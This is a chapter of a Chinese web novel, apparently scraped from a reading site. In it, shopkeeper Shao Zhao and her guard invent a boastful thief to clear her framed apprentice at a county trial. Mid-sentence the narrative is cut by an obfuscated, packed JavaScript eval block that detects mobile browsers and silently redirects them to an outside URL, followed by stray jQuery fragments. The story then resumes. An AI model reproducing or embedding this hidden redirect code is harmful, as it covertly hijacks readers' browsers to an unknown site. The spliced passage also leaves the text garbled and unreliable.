4. 第四章

作品:《家破人亡但坐拥上千瓷刻行

    “你是说,那小孩是你第二个徒弟?”荆溪神色略有不满,邵昭忙着关铺子的房门,没看出他一闪而过的情绪。


    转身走到桌前,她倒了杯茶水灌下肚,才急匆匆道:“那孩子当时是给了他钱让他回家的,也不知道怎么又被邵明光这个混蛋抓了回来。”


    “看来你还挺心疼这个小徒弟的。”荆溪酸溜溜讽了句,邵昭低头瞧他一眼。


    他大马金刀摊在椅子上,眼睛眯着,一点不着急的样子。邵昭当然知道他与金饼无相无识,本就不该存有担忧,可邵昭还是无名火起,放下茶杯的劲头不由大了些,发出咚的一声:“工作期间,我还站着,你坐这么实诚做什么?”


    荆溪不高兴睁开了眼睛:“休息一下...好好好,我马上干活去。”他起身抻了个懒腰,半路突然顿住,用一丝带有严肃目光的眼睛望了邵昭一眼:“你说,那邵明光至于十天半个月才发现自己丢钱了么?”


    “什么意思?”


    “昭昭你可不要见笑,我说一下我作为护院的一点见解。”他走上前,非得凑到邵昭耳边:“以我的拙见,邵明光怕是有阴谋。”


    邵昭眉头不由锁起。荆溪平时虽然吊儿郎当,可邵昭看的出来,他脑袋聪慧的很,以往他有经历过什么,邵昭此时毫不知情,可也不能因着他一个下人的身份就否定他的想法。


    邵昭可是个与众不同的老板。


    她认真问道:“你觉得他会有什么阴谋?”


    “你说呢?”


    “难道,他是想抓我?”


    荆溪翘了翘嘴角:“替罪羊还不好找?他何必花半个月时间非寻来你的另一个徒弟呢?”


    说完他拿起墙角的扫帚,开门出去了。


    邵昭坐立不安一整个下午,若非邵明光目标在她,她不出现不会轻易动金饼,邵昭都想直接去衙门劫狱了。


    房间越发昏暗,窗外树枝的剪影都变得黑黢黢,她才发现自己还未点灯。


    正拿起蜡烛,忽又觉四周太安静了。


    刚才哧哧响的扫地声音不知何时停了下来,邵昭开门朝院子里看去,那拿着扫帚干活的人趴在吊床上竟睡着了。


    心里再担忧,晚饭还是要吃的。


    邵昭没有做饭的厨子,这几天都是自己亲自下厨房。荆溪本职是个护院,可也做了各种各样的工作,毕竟她这是创业初期,难免一人担任多职,辛苦了些,所以做饭这项任务,就由她来执行吧。


    荆溪一闻到香味,立马醒了过来。他肚子可早就咕咕叫了。


    “这个味道,我还以为自己在酒楼呢。”


    邵昭把菜端到院子里的小桌子上,心满意足接受了他的夸奖。


    两人坐定,邵昭开门见山道:“今晚你有个任务。”


    荆溪筷子一顿:“哦?”


    邵昭拿出一锭金子:“你晚上再去一趟钱庄,不过这次不是做梁上君子。我给你一袋颜料,你去在钱庄的大门上写几个字,意思大概就是:你作为一个江洋大盗,替天行道拿了坏人的钱,结果衙门抓错了人,于是你愤愤不满,表示自己还在外逍遥呢,凭什么你替天行道的功劳被一个毛头小子给抢了呢?你不服,你要示威,你才是真正的凶手!”


    “霍,你说戏本呢。”荆溪吃了口菜,刚咽下憋不住笑出了声:“我从没想过,有一天我会成为江洋大盗。”他扭头看了眼桌上明晃晃的金子:“老板,你怎么还另外给钱呢,这种小事,你随口吩咐声就好啦。”


    邵昭一本正经:“加班费。”


    果不其然,到了第二天,城内都开始议论纷纷起来。封州城出现个江洋大盗,这下衙门可要头疼了。


    邵明光敢正大光明诬陷一个无辜人,说辞还漏洞百出,定是与那府衙有所勾结,他们没有等来自己,怎么肯轻易放过金饼。


    这个时候就得施加点压力了。


    邵昭偷偷买通几个人在城内煽动舆论,百姓们一听江洋大盗还在外猖狂,纷纷害怕起来,都呼喊着要官府快些捉人。既然真正的凶手都自己冒出了,那堂前审问的必然不是凶手。


    邵昭就是要他们发出意见。


    邵昭带着帷帽站在人群外,今日府衙门口的百姓格外多,一人张着一口,吵嚷声震耳欲聋。


    “怎么样?”荆溪从人群内钻出来,对邵昭地询问答道:“开始升堂了,估摸着是要重审,不过结果如何,我们还得再看看。”


    邵昭垂眸思索,邵明光完全是借着邵家的财势才能得官府区别对待,但是没有邵昭经营,他吃老本也吃不了多久,官府岂会全凭他的主意做事?如今百姓发出怨言,金饼怎么也该放回家了。


    “哟,开始了。”


    一声惊堂木从内传出,人群不由安静下来。


    邵昭随着荆溪朝门口走去,看见如昨日一样的情景。


    “大人,”在重重议论包围下,邵明光脸上并不见着急,只斜眼看着金饼,说:“不知从哪又冒出个江洋大盗,竟然敢公然承认自己的罪行,简直太过猖狂,完全是与大人您作对啊。不过我有办法捉住这江洋大盗。”


    “说来听听。”台上椅子内的知府大人倒是比昨日严肃很多。


    邵明光作了一揖:“大人,就让这小子亲口说一下吧,等他说出来,您就清楚了。”


    邵昭闻言不由将视线放到金饼的背影上,她心里咯噔一声,突然意识到自己好像忘记了什么。


    “说话!”邵明光抬起笨拙的脚,朝着金饼的肩背踢上去。金饼瘦弱的身板哪里受得下这一重击,当即朝旁倒去,后背留下一个褐色肥脚印。


    他身体颤抖了一阵,发出沙哑声音:“我,我,是我偷的。”


    “不是这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547100|171185||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个!”邵明光整个人的身体都快腾空了,看起来他就跟一只肚大肠肥的胖麻雀一样,想跳起来,却做不到,只能气喘吁吁用一只脚踹着金饼的后背。


    金饼的后背上已经留下两个肥大褐色脚印。


    “是,我,我和那个江洋大盗,认,认识。”


    “什么!?”从知府大人吃惊的面容看,他显然是刚刚听说这件事。这次惊堂木也压不住议论声了。


    人群顿时又如墙头的草一样,反方向刮来一阵风,立马整个身体都歪斜过去。本来对江洋大盗就又气又怕,这人还是同伙,重要的是性子如此软弱好欺负,那不得使劲骂一骂。


    也不知从哪出现一堆臭鸡蛋、白菜叶子,竟然都敢朝着衙门堂内扔了。


    荆溪也是欲言又止,低头不断把目光移过来,邵昭压根没去看他,此时,她心里可是堵的很呐!


    怎么就忘了跟她徒弟通个气呢!?


    罢了。


    邵昭再次拉起荆溪的腕子,转身朝外挤,必须想办法给她那傻徒弟说一声,也不知她那傻徒弟都这会儿了,如何还这么听邵明光的话,让他说什么就是什么?


    来来回回坐马车身体都快散架了。


    无忧山庄郭庄主惯来低调奢华,山脚专门停放马车的院落里有着数十辆风格不同的马车。邵昭向他租借马车去往封州,本是挑选个便宜的,没想内里镶金带银,笔墨软垫样样齐全。


    虽说这样坐着也极为舒适,可遭不住天天都要坐,实在疲累。


    邵昭摘下帷帽,还了马车,正要上山,那门口登记的仆从拦住了她:“邵老板,我们庄主说过几日要举办个花朝节,届时会请些好友以及城内贵人前来游玩,因此托我等您回来告知您一声,其余商户皆已经知晓了。”


    “花朝节?”


    “花朝节不是在二月份举行吗?”荆溪抢话道:“哎,别以为我不知道,我当时可在城内看到有花车游行,花魁还亲自上场呢,唉,可惜当时有点要紧事要办,没能跟着花车走一走,不然可以多看看...”


    荆溪适时停下了话头,邵昭没搭理他,对那仆从道:“你继续说。”


    “哦,这位小哥说的没错,花朝节却是在二月份,不过我们庄主举办的这个花朝节呀,是为了纪念一种珍贵的花。前些年我们庄主出了趟海,回来以后手里就捧了一株绿苗,据说那是从某个海岛上移回来的海珍珠,可珍贵了。当时请了不少师傅帮忙料理,用了一年时间才彻底稳定下来。每年这个月份,它都要开花,我们庄主是个爱与大家同乐的人,便直接举办了第二个花朝节,请大家一块游玩赏花嘛!”


    “好,多谢了。”


    邵昭打算回去连夜做个策划案,就针对这次的节日来举办活动。


    不过,她得先找人给金饼传个信,到时候就让金饼也来帮忙吧。